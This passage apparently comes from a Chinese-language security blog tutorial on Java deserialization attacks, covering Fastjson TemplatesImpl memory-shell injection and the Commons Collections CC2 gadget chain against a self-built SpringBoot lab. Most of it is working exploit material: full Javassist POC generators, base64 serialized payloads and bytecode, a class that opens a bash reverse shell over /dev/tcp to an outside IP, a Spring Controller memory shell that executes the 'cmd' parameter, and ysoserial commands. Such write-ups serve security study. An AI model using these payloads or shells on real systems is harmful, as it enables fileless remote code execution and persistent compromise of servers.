mcMAMIAwwEAMGNvbS9UcjBlL2dvb2QvZGVzZXJpYWxpemF0aW9uL0luamVjdFRvQ29udHJvbGxlcgEAD2phdmEvbGFuZy9DbGFzcwwAxADFAQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAEGphdmEvbGFuZy9TdHJpbmcBAAUvZXZpbAwAOgDGAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAA6AMcBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAA6AMgBAANhYWEMADoAUAwAyQDKAQBAb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1NlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwwAywDMDADNAM4BAANjbWQHALgMAM8A0AcAuQwA0QDSAQAAAQAHb3MubmFtZQcA0wwA1ADQDADVANYBAAN3aW4MANcA2AEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDADZANoHANsMANwA3QwAOgDeAQACXEEMAN8A4AwA4QDiDADjANYMAOQAOwcAugwA5QBQDADmADsMAOcA6AEAE2phdmEvbGFuZy9FeGNlcHRpb24MAOkAOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9QcmludFdyaXRlcgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQA7KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7KVYBAfYoTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXJhbXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Qcm9kdWNlc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAPcmVnaXN0ZXJNYXBwaW5nAQBBKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7KVYBAApnZXRSZXF1ZXN0AQApKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAKigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgEAD3ByaW50U3RhY2tUcmFjZQAhAAgAOQAAAAAABQABADoAOwACADwAAAEFAAkACAAAAHEqtwABuAACEgMDuQAEAwDAAAVMKxIGuQAHAgDAAAZNEggSCQO9AAq2AAtOuwAMWQS9AA1ZAxIOU7cADzoEuwAQWQO9ABG3ABI6BbsAE1kZBBkFAQEBAQG3ABQ6BrsACFkSFbcAFjoHLBkGGQcttgAXsQAAAAIAPQAAACoACgAAABkABAAaABMAGwAfABwAKwAdAD0AHgBKAB8AXAAgAGcAIQBwACIAPgAAAFIACAAAAHEAPwBAAAAAEwBeAEEAQgABAB8AUgBDAEQAAgArAEYARQBGAAMAPQA0AEcASAAEAEoAJwBJAEoABQBcABUASwBMAAYAZwAKAE0AQAAHAE4AAAAEAAEATwABADoAUAACADwAAAA5AAEAAgAAAAUqtwABsQAAAAIAPQAAAAYAAQAAACQAPgAAABYAAgAAAAUAPwBAAAAAAAAFAFEAUgABAFMAAAAFAQBRAAAAAQBUADsAAQA8AAAB6QAGAAgAAADRuAACwAAYwAAYtgAZTLgAAsAAGMAAGLYAGk0rEhu5ABwCAE4suQAdAQA6BC3GAJMSHjoFEh+4ACC2ACESIrYAI5kAIbsAJFkGvQANWQMSJVNZBBImU1kFLVO3ACc6BqcAHrsAJFkGvQANWQMSKFNZBBIpU1kFLVO3ACc6BrsAKlkZBrYAK7YALLcALRIutgAvOgcZB7YAMJkACxkHtgAxpwAFGQU6BRkHtgAyGQQZBbYAMxkEtgA0GQS2ADWnAAwsEQGUuQA2AgCnAAhOLbYAOLEAAQAaAMgAywA3AAMAPQAAAFYAFQAAACcADQAoABoAKgAjACsAKwAsAC8ALQAzAC8AQwAwAGEAMgB8ADQAkgA1AKYANgCrADcAsgA4ALcAOQC8ADoAvwA7AMgAPwDLAD0AzAA+ANAAQAA+AAAAZgAKAF4AAwBVAFYABgAzAIkAVwBSAAUAfABAAFUAVgAGAJIAKgBYAFkABwAjAKUAWgBSAAMAKwCdAFsAXAAEAMwABABdAF4AAwAAANEAPwBAAAAADQDEAF8AYAABABoAtwBhAGIAAgBjAAAANgAI/wBhAAYHAGQHAGUHAGYHAGcHAGgHAGcAAPwAGgcAafwAJQcAakEHAGf4ABr5AAhCBwBrBAABAGwAbQADADwAAAA/AAAAAwAAAAGxAAAAAgA9AAAABgABAAAARQA+AAAAIAADAAAAAQA/AEAAAAAAAAEAbgBvAAEAAAABAHAAcQACAE4AAAAEAAEAcgBTAAAACQIAbgAAAHAAAAABAGwAcwADADwAAABJAAAABAAAAAGxAAAAAgA9AAAABgABAAAASgA+AAAAKgAEAAAAAQA/AEAAAAAAAAEAbgBvAAEAAAABAHQAdQACAAAAAQB2AHcAAwBOAAAABAABAHIAUwAAAA0DAG4AAAB0AAAAdgAAAAEAeAAAAAIAeQ==
D:\Code\Java\Project\PomTest\target\classes\com\Tr0e\good\deserialization
λ
以上拿到生成内存马的恶意字节码后,同样通过 Fastjson 反序列化漏洞的接口发送 Payload(只需修改 “_bytecodes”,其它参数均保持不变即可):
成功注入内存马,实现 RCE:

消灭内存马的方法,重启 SpringBoot 服务:
至此,成功借助 Java 反序列化漏洞在无任何落地文件的情况下,通过恶意字节码注入 Java 内存马实现 RCE。
【More】上面构造的 Spring Controller 型内存马,为了兼容 TemplatesImpl 利用链,需要继承 AbstractTranslet 类,但是如果是通过 JNDI 注入字节码实现来完成 Fastjson 反序列化漏洞的内存马注入利用,则并不需要继承该类,可以参考《https://xz.aliyun.com/t/10467》,但本人实践后始终无法成功注入内存马(应该是中间哪个环境不匹配?用的 java-sec-code 环境 JDK1.8_102 + Fastjson 1.2.41),故此处不展开…
Java反序列化CC2链
实际上 Java 反序列化 CC2 链并不是非得结合 TemplatesImpl 链才能形成,只是在著名的 Java 反序列化利用工具 ysoserial 的 cc2 中引入了 TemplatesImpl 类来进行承载攻击 payload(需要用到 javassit),故将二者结合在了一起——引用自《通俗易懂的Java Commons Collection 2分析》。
3.1 CC2反序列化利用链
前面 2021 年通过《CommonCollections1反序列化利用链分析》学习过 Java 反序列化 CC1 利用链,CC1 链在实际利用过程存在一些限制,例如通过分析发现 jdk8u71 版本中改写了 sun.reflect.annotation.AnnotationInvocationHandler 类的 readObject 方法,故 CC1 链在 jdk8u71 版本以上已经被修复了,因此 jdk8u71 版本后安全研究员们又重新构造了一条新的利用链(CC2 链)。
不过 CC2 链使用了 apache commons collections 组件 4.0 版本来进行构造,并没有使用 3.1 版本,故我们需要在构造 poc 的项目以及目标受害系统的 pom.xml 都提前导入对应的依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
先来直接看看利用 CC2 链注入打开计算器命令的 POC:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
//使用Javassist动态生成恶意字节码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass testCtClass = classPool.makeClass("TestCtClass");
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor ctConstructor = testCtClass.makeClassInitializer();
ctConstructor.insertBefore("Runtime.getRuntime().exec(\"gnome-calculator\");");
byte[] bytes = testCtClass.toBytecode();
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
//构造利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
//触发漏洞
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
//设置comparator属性
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
//设置queue属性
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
CC2 链的整体利用流程:
- 构造一个 TestTemplatesImpl 恶意类转成字节码,然后通过反射将恶意类的字节码注入到 TemplatesImpl 对象的
_bytecodes属性(构造利用核心代码); - 创建一个 InvokerTransformer 并传递一个 newTransformer 方法,然后将 InvokerTransformer 方法名传递给 TransformingComparator(这一步和 CC1 链非常相似)
- 通过反射构造 PriorityQueue 队列的 comparator 和 queue 两个字段,将 PriorityQueue 队列的 comparator 字段设置为 TransformingComparator,然后将 queue 字段设置为 TemplatesImpl 对象,触发利用链。
具体代码链路分析请参见《java反序列化CC2链分析》、《通俗易懂的Java Commons Collection 2分析》,此处不展开。
【靶场验证】
同样选择在 Ubuntu 虚拟机 IDEA 的 SpringBoot 项目自行搭建反序列化漏洞缺陷靶场,Java 版本:
漏洞代码如下:
@PostMapping("/admin/unserialize/bug")
public void unSerialize(@RequestBody User user, HttpServletResponse response) throws IOException {
System.out.println(user.toString());
byte[] decodeStr = Base64.getDecoder().decode(user.getData());
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodeStr);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
try {
Object object = objectInputStream.readObject();
response.getWriter().println(object);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} finally {
objectInputStream.close();
}
response.getWriter().println("UnSerialize Test!");
}
其中 User 类如下:
package com.tr0e.javaBug.entity;
import lombok.Data;
import java.io.Serializable;
@Data
public class User implements Serializable {
private int age;
private String name;
private String data;
}
运行上述生成执行弹出计算器命令的 CC2 链 POC,将得到序列化后的文件 cc2.bin,进一步进行 base64 编码:
D:\Code\Java\Project\PomTest
λ cat cc2.bin | base64 | tr -d '\n'
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHBwdAAObmV3VHJhbnNmb3JtZXJwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AC0wABV9uYW1lcQB+AApMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAbLK/rq+AAAANAAbAQALVGVzdEN0Q2xhc3MHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAEFRlc3RDdENsYXNzLmphdmEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAHAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAwBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAOAA8KAA0AEAEAEGdub21lLWNhbGN1bGF0b3IIABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAUABUKAA0AFgEABjxpbml0PgwAGAAKCgAIABkAIQACAAgAAAAAAAIACAAJAAoAAQALAAAAFgACAAAAAAAKuAAREhO2ABdXsQAAAAAAAQAYAAoAAQALAAAAEQABAAEAAAAFKrcAGrEAAAAAAAEABQAAAAIABnB0ABFUZXN0VGVtcGxhdGVzSW1wbHB3AQB4cQB+ABF4
D:\Code\Java\Project\PomTest
λ
发送 Payload,成功触发命令执行,Ubuntu 中打开了计算器:

3.2 CC2链加载自定义类
上面演示了如何通过 CC2 链注入命令,下面看看借助 CC2 链加载自定义恶意类该如何实现。
恶意类先简单点,直接反弹 Shell:
package com.Tr0e.good.deserialization.Templates;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.Runtime;
import java.lang.Process;
public class TemplatesImplEvil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public TemplatesImplEvil() throws Exception {
super();
//Runtime.getRuntime().exec("gnome-calculator");
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/1xx.168.xxx.xxx/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后通过 Javassist 生成字节码并构造 CC2 链的字节流 Payload:
public static void main(String[] args) throws Exception{
//构造恶意类TestTemplatesImpl并转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Tr0e.good.deserialization.Templates.TemplatesImplEvil");
byte[] bytes = ctClass.toBytecode();
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
//构造利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
//触发漏洞
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
//设置comparator属性
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
//设置queue属性
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc222.bin"));
outputStream.writeObject(queue);
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
将生成的 cc222.bin 进行 base64 编码后发送:
λ cat cc222.bin | base64 | tr -d '\n'
rO0ABXNyABdqYX……
D:\Code\Java\Project\PomTest
λ

成功反弹 Shell:
【More】 接下来介绍下 Y4er 大佬改造的 ysoserial:https://github.com/Y4er/ysoserial,它支持通过引入自定义 class 的形式来执行命令、内存马、反序列化回显,而原版的 https://github.com/frohoff/ysoserial 默认支持执行命令(java -jar ysoserial.jar [payload] '[command]')。
先编译 TemplatesImplEvil.java 获得字节码 TemplatesImplEvil.class,然后使用改造的 ysoserial 进行字节流转换和 base64 编码:
D:\Security\WebTools\ysoserial
λ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "FILE:D:\Code\Java\Project\PomTest\target\classes\com\Tr0e\good\deserialization\Templates\TemplatesImplEvil.class" | base64 | tr -d '\n'
rO0ABXNyABdqYXZhLnV0aW……
D:\Security\WebTools\ysoserial
λ
传输 Payload,成功反弹 Shell:

以上过程实际上就是工具帮我们自动使用 Javassist 生成字节码并构造 CC2 链的 base64 格式字节流 Payload。
3.2 CC2链->注入内存马
前面是 Fastjson 反序列化漏洞通过 TemplatesImpl 利用链传输恶意字节码实现内存马的注入,下面来看看常规的反序列化漏洞如何也通过恶意字节码实现内存马的注入。
同样准备待注入的 Spring Controller 内存马:
package com.Tr0e.good.deserialization.Templates;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* @author Tr0e
*/
public class InjectToController extends AbstractTranslet {
public InjectToController() throws NoSuchMethodException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = InjectToController.class.getMethod("exec");
PatternsRequestCondition url = new PatternsRequestCondition("/evil");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public InjectToController(String arg) {}
public void exec(){
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder("cmd.exe", "/c", arg0);
}else{
p = new java.lang.ProcessBuilder("/bin/sh", "-c", arg0);
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
然后 3.2 章节提供的两种方法(手动生成 CC2 字节流 Base64 Payload、或者借助改版的 ysoserial:https://github.com/Y4er/ysoserial)生成 Payload 即可,此处选择手动版加深印象,调整下 ctClass:
public static void main(String[] args) throws Exception{
//构造恶意类TestTemplatesImpl并转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.Tr0e.good.deserialization.Templates.InjectToController");
byte[] bytes = ctClass.toBytecode();
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
//构造利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
//触发漏洞
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
//设置comparator属性
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
//设置queue属性
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2_success.bin"));
outputStream.writeObject(queue);
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
生成最终的 base64 Payload:
λ cat cc2_success.bin | base64 | tr -d '\n'
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHBwdAAObmV3VHJhbnNmb3JtZXJwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AC0wABV9uYW1lcQB+AApMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAFr/K/rq+AAAANADqCgA5AHoKAHsAfAgAfQsAfgB/BwCABwCBCwAFAIIHAIMIAFQHAIQKAAoAhQcAhgcAhwgAiAoADACJBwCKBwCLCgAQAIwHAI0KABMAjggAjwoACACQCgAGAJEHAJIKABgAkwoAGACUCACVCwCWAJcLAJgAmQgAmggAmwoAnACdCgANAJ4IAJ8KAA0AoAcAoQgAoggAowoAJACJCACkCAClBwCmCgAkAKcKAKgAqQoAKgCqCACrCgAqAKwKACoArQoAKgCuCgAqAK8KALAAsQoAsACyCgCwAK8LAJgAswcAtAoANwC1BwC2AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADxM